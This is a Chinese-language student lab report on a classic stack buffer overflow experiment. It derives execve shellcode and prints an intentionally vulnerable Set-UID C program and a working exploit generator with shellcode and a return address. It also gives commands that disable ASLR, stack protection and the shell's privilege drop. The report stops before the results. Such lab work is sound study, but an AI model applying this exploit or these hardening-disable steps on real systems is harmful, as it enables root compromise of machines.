20135302、20135315、20135323----缓冲区溢出漏洞实验（修改版）
本次实验由20135302魏静静、20135315宋宸宁完成shellcode相关内容，20135323符运锦完成后期跟进学习及博客的编写
一、实验简介
缓冲区溢出是一种非常普遍、非常危险的漏洞，在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击，可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是，可以利用它执行非授权指令，甚至可以取得系统特权，进而进行各种非法操作。第一个缓冲区溢出攻击--Morris蠕虫，发生在1988年，由罗伯特,莫里斯(R ob。rtMorris)制造，它曾造成全世界6000多台网络服务器瘫痪。
计算机程序一般都会使用到一些内存，这些内存或是程序内部使用，或是存放用户的输入数据，这样的内存一般称作缓冲区。溢出是指盛放的东西超出容器容量而溢出来了，在计算机程序中，就是数据使用到了被分配内存空间之外的内存空间。而缓冲区溢出，简单的说就是计算机对接收的输入数据没有进行有效的检测（理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符），向缓冲区内填充数据时超过了缓冲区本身的容量，而导致数据溢出到被分配空间之外的内存空间，使得溢出的数据覆盖了其他内存空间的数据。
缓冲区溢出中，最为危险的是堆栈溢出，因为入侵者可以利用堆栈溢出，在函数返回时改变返回程序的地址，让其跳转到任意地址，带来的危害一种是程序崩溃导致拒绝服务，另外一种就是跳转并且执行一段恶意代码，比如得到shell，然后为所欲为。
缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能，这样可以使得攻击者取得程序的控制权，如果该程序具有足够的权限，那么整个主机就被控制了。一般而言，攻击者攻击root程序，然后执行类似"exec(sh)"的执行代码来获得root权限的shell。为了达到这个目的，攻击者必须达到如下的两个目标：
1. 在程序的地址空间里安排适当的代码。
2. 通过适当的初始化寄存器和内存，让程序跳转到入侵者安排的地址空间执行。
二、实验准备
系统用户名shiyanlou，密码shiyanlou
实验楼提供的是64位Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在32位环境下作操作，因此实验之前需要做一些准备。
-
输入命令安装一些用于编译32位C程序的东西：
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
2.输入命令"linux32"进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，所以输入"/bin/bash"使用bash。
三、实验步骤
3.1 初始设置
Ubuntu和其他一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：
sudo sysctl -w kernel.randomize_va_space=0
此外，为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。
linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替/bin/bash。下面的指令描述了如何设置zsh程序：
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
3.2 shellcode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是shellcode。
观察以下代码：
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ''/bin/sh'';
name[1] = NULL;
execve(name[0], name, NULL);
}
在Linux里，程序通过int 0x80软中断来执行系统调用。当程序在用户模式下执行int 0x80时，CPU切换到内核模式并执行相应的系统调用。Linux使用的系统调用方法不同于其它Unix
系统，它在系统调用时使用fastcall约定，这对系统调用来说，将提高寄存器的使用效率。系统调用的过程如下：
2.把0x0b赋值给eax
，
机器码
分析以上图像，我们可以发现MAIN进行以下操作：
①先建立一个栈，分配栈的空间
②把程序中的"/bin/sh"保存到栈中，并把它们放入%eax，把0放入到栈中
③把保存"/bin/sh"的地址放入%edx
④把%edx的内容放入到栈中，把%eax的内容放入栈中，调用execve函数
⑤如图所示，
将上面的过程化简，先把结束符推入到栈中,pushl null
把"/bin/sh"推入到栈中作为返回地址,pushl "/sh" ; pushl "/bin"
保存它们的返回地址 movl %esp,%ebx
把基地址推入到栈中 pushl 0x0 ;
把返回地址的地址推入到栈中pushl %ebx
保存栈指针的地址 movl %esp,%ecx
进行调用，syscall表中的索引值：11(0xb)代表execve.则我们可以写出汇编语言movl 0xb,%al
因为在shellcode中任何的NULL字节都会被认为是字符串的结束，所以为了使程序能够正常工作，我们把null字节替换成xor指令，然后调整代码，我们可以得到以下汇编指令：
Xorl %eax,%eax
Pushl %eax.
Pushl "/sh"
Pushl "/bin"
Movl %esp,%ebx
Pushl %eax
Pushl %ebx
Movl %esp,%ecx
Cdq //字节缩小
Movb $0x0b,%al
Int $0x80
紧接着调用汇编指令进行汇编得到十六进制代码，如下图所示
可以看到右边是汇编指令，左边是操作码。从中提取一部分有用的机器码，最后生成shellcode,再将其插入C程序中
（注：最后产生的机器语言与实验楼中有所差别，是因为系统及版本的不同而造成）。
3.3 漏洞程序
把以下代码保存为"stack.c"文件，保存到 /tmp 目录下。代码如下：
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
通过代码可以知道，程序会读取一个名为"badfile"的文件，并将文件内容装入"buffer"。
编译该程序，并设置SET-UID。命令如下：
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。
而 -z execstack 用于允许执行栈。
3.4 攻击程序
我们的目的是攻击刚才的漏洞程序，并通过攻击获得root权限。
把以下代码保存为"exploit.c"文件，保存到 /tmp 目录下。代码如下：
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码，"\x??\x??\x??\x??"处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode保存在 buffer+100 的位置。
现在我们要得到shellcode在内存中的地址，输入命令：
gdb stack
disass main
现在修改exploit.c文件！将 \x??\x??\x??\x?? 修改为 \x14\xd2\xff\xff
然后，编译exploit.c程序：
gcc -m32 -o exploit exploit.c
3.5 攻击结果
先运行攻击程序exploit，再运行漏洞程序stack，观察结果：
